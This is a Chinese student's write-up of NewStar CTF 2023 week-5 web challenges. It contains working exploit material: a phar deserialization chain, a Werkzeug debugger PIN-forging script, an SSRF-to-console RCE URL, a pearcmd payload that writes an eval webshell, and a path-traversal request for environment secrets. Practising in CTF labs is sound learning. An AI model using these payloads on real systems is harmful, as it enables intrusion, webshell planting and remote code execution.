NewStar2023 web-week5-wp
NewStar结语
前面几周还挺简单,第四周后面就是让我学到很多新东西了。感觉知识面又拓宽了,而且这边学的知识结果让我把隔壁的CTF题目打出来几道....
闲话少叙,加油大黑阔!!!!
绷不住了,这周化身提权哥和伪造小子......
Unserialize Again
打开看到pair的介绍,后面知道就是一起用的意思。
进去发现传文件按钮是假的,直接查看源码,发现饼干提示,直接看cookie,发现pairing.php,访问进去得到源码,这里贴上源码+我的分析:
<?php highlight_file(__FILE__); error_reporting(0); class story{ private $user='admin'; public $pass; public $eating; public $God='false'; public function __wakeup(){ $this->user='human'; if(1==1){ //必须绕过__wakeup(),不然这个程序直接die了 die(); } if(1!=1){ echo $fffflag; } } public function __construct(){ $this->user='AshenOne'; $this->eating='fire'; die(); } public function __tostring(){ return $this->user.$this->pass; } public function __invoke(){ if($this->user=='admin'&&$this->pass=='admin'){ echo $nothing; } } public function __destruct(){ if($this->God=='true'&&$this->user=='admin'){ system($this->eating);//出口,eating是RCE位置,可以写个反弹shell之类的,直接赋值God=true就卡进去了 } else{ die('Get Out!'); } } } if(isset($_GET['pear'])&&isset($_GET['apple'])){ //必须get传pear和apple的参数 // $Eden=new story(); $pear=$_GET['pear']; //这里写文件名字,直接传new_exp.phar //pear=new_exp.phar $Adam=$_GET['apple']; //我传的apple参数赋值给adam了 //apple=phar://new_exp.phar $file=file_get_contents('php://input'); //这里我直接post传的参数就赋给file了,建议写(反弹shell)创个phar,这里就需要反序列化从上面的反序列化开爆,并且需要改签名,然后把phar文件的内容传进去。 //phar文件怎么来?用上面的反序列化构造拉到出口,然后写签名改签名最后得到new_exp.phar file_put_contents($pear,urldecode($file)); //这里是把我传的参urldecode了然后给写进pear文件里,pear文件的名字我可以赋值,经过本地测试,直接写入网站目录了,所以直接phar触发执行没有问题 file_exists($Adam);//此处可以触发phar反序列化,所以adam也就是我传的apple参必然是phar://new_exp.phar } else{ echo '多吃雪梨'; } //多吃雪梨
直接开造exp:
得到exp.phar:
然后改一下内部数字绕过__wakeup(),可以010editor,也可以直接replace正则匹配,得到new_exp.phar,下面是一个错误版本的东西,那个时候我只用了god和eating两个属性:
然后python传参(因为要读十六进制文件,脚本里面笔误了....所以用urllib.parse更好,而且post传参没有参数名我传不上......):
走到这里思路是没问题的,本来想反弹shell,但是弹失败了....我用官方的cat /f*直接RCE也读不了,为什么....
后来发现官方wp好像前面算法那里错了。
如果不用sha1,应该用sha256:
然后还是一样,先修改数字绕过__wakeup(),然后python直接传,反弹shell成功:
补充:后来看了别人的wp发现还有个非预期解,直接传参/var/www/html/a.php写🐎进去就直接读目录了,这里我也去根目录看了看环境是有bash的,所以bash命令反弹shell是能成功的。
Final
本来是个网上随便搜得到的RCE漏洞,但是无回显。
猜想有过滤函数,首先用phpinfo看了看,发现system被ban了:
但是可以换exec。
所以我直接挂马了,前提是知道网页目录是var/www/public,(也可以反弹shell),连蚁剑上终端,发现内部还需要SUID提权。
/var/www/public的网站地址可以在phpinfo里看到。
一条龙:
直接find提权:(我也不知道为啥find不出东西,但可以直接用stdout.....)
Ye's Pickle
又成为了session伪造小子,唉。
而且一眼pickle反序列化,隔壁0xgame才做过一道。
进网页一看就是session,但是网页上和html源码上的好像不一样?
也罢,反正打开base64解码都能看到个role:guest的东西,显然这里需要改成admin了。
本以为还是爆破密钥的做法,但是查看源码,发现这个secret_key使用长字符串随机生成的,基本爆不出来。
这条路走不通,怎么办?
各种渠道去搜CVE,有一个jwt的CVE:CVE-2022-39227
恰好有个类题:
祥云杯2022复现_ezjava_Yan9.的博客-CSDN博客
观察源码:
思路很显然了,就是先用改了admin的payload先打 / 传token,然后系统就会帮我们自己梭出来admin信息的新cookie,再去pickle路由get传参pickle,并且传的东西是pickle.dumps()的码或者手搓的机器码拿去pickle反序列化,并且base64加密。
直接看官方的一条龙:
然后换cookie,下面是admin检测,说明伪造成功了:
构造操作码:
pickle下直接反弹shell就行了。但是我这里死活弹不出来,一直报错,我也不知道为什么,手搓操作码也没用到pickle.dumps(),所以应该不是windows和linux的反序列化区别造成的....
这里直接看看其他师傅弹出来的吧:
[NewStarCTF 2023] web题解-CSDN博客
pppython?
SSRF打路由,然后算PIN,这里还需要手搓cookie。
SSRF漏洞(原理、挖掘点、漏洞利用、修复建议) - Saint_Michael - 博客园 (cnblogs.com)
唉,又是伪造小子,隔壁才做过一个算PIN的,又来?
首先就是很经典的SSRF。我们先用第一个判断条件试试:
又要提权?
但是与此同时,我们发现了app.py的存在。
apache服务器,后台文件里右app.py?看来还藏了个python的flask框架。
那么思路就有了,利用这个url进行SSRF到flask的位置,然后在/console里RCE,前提也需要算PIN能进去。
注意lolita传的是HTTPHEADER,所以这里应该传的是数组,也就是lolita[]。
ssrf用file://读app.py(lolita[]传空参):
可以看到是一个开了debug的flask监听在1314端口,那么flask内网地址就有了,127.0.0.1:1314。
而file://伪协议能实现任意文件读取,估计全能读了,然后就是经典算PIN的参数:
username 启动这个 Flask 的用户 modname 一般默认 flask.app getattr(app, '__name__', getattr(app.__class__, '__name__')) 一般默认 flask.app 为 Flask getattr(mod, '__file__', None)为 flask 目录下的一个 app.py 的绝对路径,可在爆错页面看到 str(uuid.getnode()) 则是网卡 MAC 地址的十进制表达式 get_machine_id() 系统 id
首先用户名是root,刚刚ls -la就看到了。
读MAC地址:
转一下:
读机器id:
进debug读app.py路径:
整合一下,用脚本开算:
import hashlib from itertools import chain import time probably_public_bits = [ 'root' 'flask.app', 'Flask', '/usr/local/lib/python3.10/site-packages/flask/app.py' ] private_bits = [ '209308333341629', '8cab9c97-85be-4fb4-9d17-29335d7b2b8adocker-de0acd954e28d766468f4c4108e32529318e5e4048153309680469d179d6ceac.scope' ] h = hashlib.sha1() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode('utf-8') h.update(bit) h.update(b'cookiesalt') cookie_name = '__wzd' + h.hexdigest()[:20] num = None if num is None: h.update(b'pinsalt') num = ('%09d' % int(h.hexdigest(), 16))[:9] rv = None if rv is None: for group_size in 5, 4, 3: if len(num) % group_size == 0: rv = '-'.join(num[x:x + group_size].rjust(group_size, '0') for x in range(0, len(num), group_size)) break else: rv = num print(rv) def hash_pin(pin: str) -> str: return hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12] print(cookie_name + "=" + f"{int(time.time())}|{hash_pin(rv)}")
(这里是sha1加密,隔壁0xgame是md5加密....)
下面借用这个师傅的思路:[NewStarCTF 2023] web题解-CSDN博客
然后就是传参问题:
GET /?&__debugger__=yes&cmd=print(1)&frm=140324285712640&s=prj74Iraob1k5eMHiH37
这里我们要去获取frm和s的值
frm如果没有报错信息的话值为0
s的值可以直接访问./console,然后查看源码的SECRET值
由于这里试了半天没有报错信息,那么frm=0
访问一下console,获取s值:
payload:
http://1b19cac6-0d4c-425b-ad97-e18e8c7f02ae.node4.buuoj.cn:81/?url=http://127.0.0.1:1314/console?&__debugger__=yes&pin=596-920-621&cmd=__import__("os").popen("ls").read()&frm=0&s=G9cNh2D9VVzN9vSTLRSd&lolita[]=Cookie: __wzd6464f1137a9cacb6df97=1699783316|dbcc4ebe4ee4
也许是因为某些原因最后没出来,但是大概思路就是这样。各位佬觉得写的不好的轻喷,其他师傅写的也很不错
(😭😭😭😭😭呜呜呜呜呜呜呜~~~~)
4-复盘
本来看了介绍以为还有MISC的内存取证之类的东西,结果看源码里面找到了一个显然可以路径穿越的漏洞,直接挂马然后SUID提权就行了:
payload:
/index.php?+config-create+/&page=/../../../../../usr/local/lib/php/pearcmd&/<?=@eval($_POST[1])?>+/var/www/html/shell.php
直接bp里做,记得不要url编码,而是直接传:
连蚁剑直接gzip提权:
NextDrive
题目介绍:
环境变量好说,一般就是/proc/self/environ
然后搜一下啥是秒传:
大致意思就是MD5值校验因为一样所以秒传,要想不秒传就需要修改使得MD5改变。
其他显然没啥东西,下载这个test.res.http查看:
尤其注意到一个地方:
这里的文件名是test.req.http而不是本身的test.res.http;
联想一下就知道,我们应该想办法用秒传原理链接到test.res.http文件,然后利用秒传的逻辑漏洞,上传一个任意文件改掉hash值和test.res.http相同即可。
而且我们发现里面有token和uid进行身份伪造。
右上角先注册个号,随便传个文件,有个check操作,删除有个remove,这里重点关注check:
只需要给文件名和hash值就可以:
autoup
选项表示检测过服务器存在相同文件后直接 upload。
而前面我们下载下来的test.req.http文件里写了
哈希值为 6db480d2bce8a327a80b6272e892ba78b121dc6203ab191449137138d7bbb883
直接伪造:
放包,然后我们就可以在网盘下载,实际上下载的就是test.req.http:
再使用它的uid和token,刷新修改,我们就直接伪造成admin了:
(这里我是f12里面cookie存储里改的uid和cookie,bp和hackbar不知道为什么我这边出不来文件)
进去发现很多东西,做题有用的就是这个share.js:
const Router = require("koa-router"); const router = new Router(); const CONFIG = require("../../runtime.config.json"); const Res = require("../../components/utils/response"); const FileSignUtil = require("../../components/utils/file-signature"); const { DriveUtil } = require("../../components/utils/database.utilities"); const fs = require("fs"); const path = require("path"); const { verifySession } = require("../../components/utils/session"); const logger = global.logger; /** * @deprecated * ! FIXME: 发现漏洞,请进行修改 */ router.get("/s/:hashfn", async (ctx, next) => { const hash_fn = String(ctx.params.hashfn || '') const hash = hash_fn.slice(0, 64) const from_uid = ctx.query.from_uid const custom_fn = ctx.query.fn // 参数校验 if (typeof hash_fn !== "string" || typeof from_uid !== "string") { // invalid params or query ctx.set("X-Error-Reason", "Invalid Params"); ctx.status = 400; // Bad Request return ctx.res.end(); } // 是否为共享的文件 let IS_FILE_EXIST = await DriveUtil.isShareFileExist(hash, from_uid) if (!IS_FILE_EXIST) { ctx.set("X-Error-Reason", "File Not Found"); ctx.status = 404; // Not Found return ctx.res.end(); } // 系统中是否存储有该文件 let IS_FILE_EXIST_IN_STORAGE try { IS_FILE_EXIST_IN_STORAGE = fs.existsSync(path.resolve(CONFIG.storage_path, hash_fn)) } catch (e) { ctx.set("X-Error-Reason", "Internal Server Error"); ctx.status = 500; // Internal Server Error return ctx.res.end(); } if (!IS_FILE_EXIST_IN_STORAGE) { logger.error(`File ${hash_fn.yellow} not found in storage, but exist in database!`) ctx.set("X-Error-Reason", "Internal Server Error"); ctx.status = 500; // Internal Server Error return ctx.res.end(); } // 文件名处理 let filename = typeof custom_fn === "string" ? custom_fn : (await DriveUtil.getFilename(from_uid, hash)); filename = filename.replace(/[\\\/\:\*\"\'\<\>\|\?\x00-\x1F\x7F]/gi, "_") // 发送 ctx.set("Content-Disposition", `attachment; filename*=UTF-8''${encodeURIComponent(filename)}`); // ctx.body = fs.createReadStream(path.resolve(CONFIG.storage_path, hash_fn)) await ctx.sendFile(path.resolve(CONFIG.storage_path, hash_fn)).catch(e => { logger.error(`Error while sending file ${hash_fn.yellow}`) logger.error(e) ctx.status = 500; // Internal Server Error return ctx.res.end(); }) }) module.exports = router;
这里找到路径穿越漏洞点,直接上官方解释:
直接上payload:
(在网上下载)
http://node4.buuoj.cn:28805/s/5da3818f2b481c261749c7e1e4042d4e545c1676752d6f209f2e7f4b0b5fd0cc%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron?from_uid=100000
因为我用的是音乐flac文件的hash,所以需要到010Editor里面十六进制转字符串查看:
curl的方式没复现出来,贴一个官方的吧:
最后是这个网盘里最让我感动的信:(QAQ)
😭😭😭😭😭